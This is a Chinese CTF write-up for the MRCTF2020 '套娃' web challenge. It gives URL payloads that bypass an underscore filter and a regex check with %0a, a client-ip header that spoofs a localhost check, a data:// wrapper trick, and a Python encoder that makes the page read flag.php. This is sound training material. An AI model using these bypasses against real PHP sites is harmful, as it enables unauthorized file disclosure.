首页 > 其他分享 >[MRCTF2020]套娃

[MRCTF2020]套娃

时间:2024-05-01 11:11:06浏览次数:33  
标签:套娃 GET ip file query php day MRCTF2020

[MRCTF2020]套娃

打开环境发现有张图片显示不出来

j3hFn5kA0vmUG4ww8xFqNRMdwRU6VDWAB566vYAc3lc

查看网页源代码发现部分代码

EQ-9HSC1Tkp6D0ha9qoDh2CqGx9wJgXKQsU23DGF1LM

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

$_SERVER['QUERY_STRING']获取查询(query)的字符串。例如https://www.shawroot.cc/?tags/upload,那么$_SERVER['QUERY_STRING']=tags/upload

substr_count():计算字符串出现的次数。%5f就是"_"的十六进制。

可以使用"%20"、"."代替下划线,因为这里计算的是"%5f"的次数,十六进制不区分大小写,也可以使用"%5F"去绕过。

第2个if的中要求内容不能是"23333",但是执行匹配正则表达式,想到达下一关$_GET['b_u_p_t']的值必须是23333

%0a即换行符的url编码,在preg_match没启动/s模式(单行匹配模式)时,正则表达式是无法匹配换行符(%0a,\n)的,且会自动忽略末尾的换行符

利用以上特性,第一关payload可以如下:

?b%20u%20p%20t=23333%0a
?b.u.p.t=23333%0a

hgS6poMn9bZv00wYpjvhNXkLqGIqpLvsqaxcyNH4T8Y

根据提示flag在secrettw.php中,尝试打开这个页面

iPrk-w_tbedUTXKNq_GvtLkmSezJjCDzBHOVgfQoVK8

源代码中发现JSFuck编码

iwEoQgmweuWGsX4ybfjfYyvtNKFdl-JD3tFOu8TasOM

运行后告知需要传入Merak参数

FwNbyGR8k8c3WR5cFSDCZf5kHz8eGutQOxQfzcKO7QI

传入任意参数值后页面中显示源码

RCi7cszb9iP-Qth1cjC5aLzwN1bxNmIua_xe4m__iaE

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

猜测getIp()可能通过X-Forwarder-For或client-ip头可以绕过。

在请求头部添加

X-Forwarder-For: 127.0.0.1

client-ip: 127.0.0.1

经过测试发现这里XFF无效,必须使用client-ip

file_get_contents($_GET['2333']) === 'todat is a happy day' )可由data:\\伪协议绕过

secrettw.php?2333=data://text/plain,todat+is+a+happy+day
空格需要url编码

change()函数将传入的字符串进行base64解码然后进行简单加密。

我们需要传入flag.php故需要先将flag.php逐字符进行加密,然后进行base64编码。

import base64

cstr = "flag.php"
tmp = ""
for i in range(len(cstr)):
    ch = chr(ord(cstr[i])- i*2)
    tmp += ch
print(base64.b64encode(tmp.encode()))

zgkLA5WGyP8t9xZLPvxrjwjTENgiCfckmCzhwcshxJc

最终的payload为

/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D

lKLmbsYi3SKLUlbPD4UZSdNoMlJibYGKSYU4UoH6nKM

标签:套娃,GET,ip,file,query,php,day,MRCTF2020
From: https://www.cnblogs.com/fishjumpriver/p/18169105

相关文章

  • [MRCTF2020]PYWebsite
    [MRCTF2020]PYWebsite查看源代码发现验证成功后跳转flag页面<script>functionenc(code){hash=hex_md5(code);returnhash;}functionvalidate(){varcode=document.getElementById("vcode").value;if(code!="......
  • [MRCTF2020]你传你呢
    [MRCTF2020]你传你......
  • CTF笔记——[GXYCTF2019]禁止套娃 1
    [GXYCTF2019]禁止套娃1打开题目之后什么都没看到所以进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在#DirsearchstartedSunMar1015:19:392024as:D:\Python\Scripts\dirsearch-uhttp://849b4a98-3df3-4abb-927e-1a358a178e30.node5.buuoj.cn:81/-x429......
  • 俄罗斯套娃 (Matryoshka) 嵌入模型概述
    在这篇博客中,我们将向你介绍俄罗斯套娃嵌入的概念,并解释为什么它们很有用。我们将讨论这些模型在理论上是如何训练的,以及你如何使用SentenceTransformers来训练它们。除此之外,我们还会告诉你怎么用这种像套娃一样的俄罗斯套娃嵌入模型,并且我们会比较一下这种模型和普通嵌入模......
  • 用python脚本跑套娃题
    importosimportzipfiledir="C://Users//32454//Desktop//4032"defjieya():foriinrange(4032,0,-1):#从4032开始,递减到1print(i)file_path=os.path.join(dir,str(i)+".zip")ifos.path.exists(file_path):#检查文件是否存在try:zpf=zip......
  • [MRCTF2020]Easy_RSA
    [MRCTF2020]Easy_RSA首先,RSA计算的5个基本公式n=pqφ(n)=(p-1)(q-1)求φ(n)e*dmodφ(n)=1求ed其中之一c=m^emodn加密m=c^dmodn解密题目:importsympyfromgmpy2importgcd,invertfromrandomimportrandintfromCrypto.Util.numberimportgetPrime,is......
  • [MRCTF2020]Hello_ misc
    [MRCTF2020]Hello_misc压缩包里有1个压缩包和png图片压缩包有密码,先对图片进行解析发现红色通道里还藏有一张图片得到zip压缩包密码:!@#$%67*()-+这个密码是图片中藏着的压缩包的密码,输入后打开里面有一个out.txt文件12725563191127191631271272556319163......
  • [GXYCTF2019]禁止套娃
    [GXYCTF2019]禁止套娃打开环境没有发现什么提示,使用dirsearch扫描目录,发现git泄露。通过githack下载源码<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\......
  • mrctf2020_easyoverflow
    mrctf2020_easyoverflow控制栈上参数程序控制流bamuwe@qianenzhao:~$checksecmrctf2020_easyoverflow[*]'/home/bamuwe/mrctf2020_easyoverflow'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:NXenabled......
  • P9970 [THUPC 2024 初赛] 套娃
    题面定义一个集合的\(\operatorname{mex}\)是最小的不在\(S\)中的非负整数。给定一个序列\(a_1,\dots,a_n\),对于每个\(1\leqk\leqn\),我们按照如下方式定义\(b_k\):对于\(a\)的所有长为\(k\)的子区间,求出这个子区间构成的数集的\(\operatorname{mex}\)。对于求出......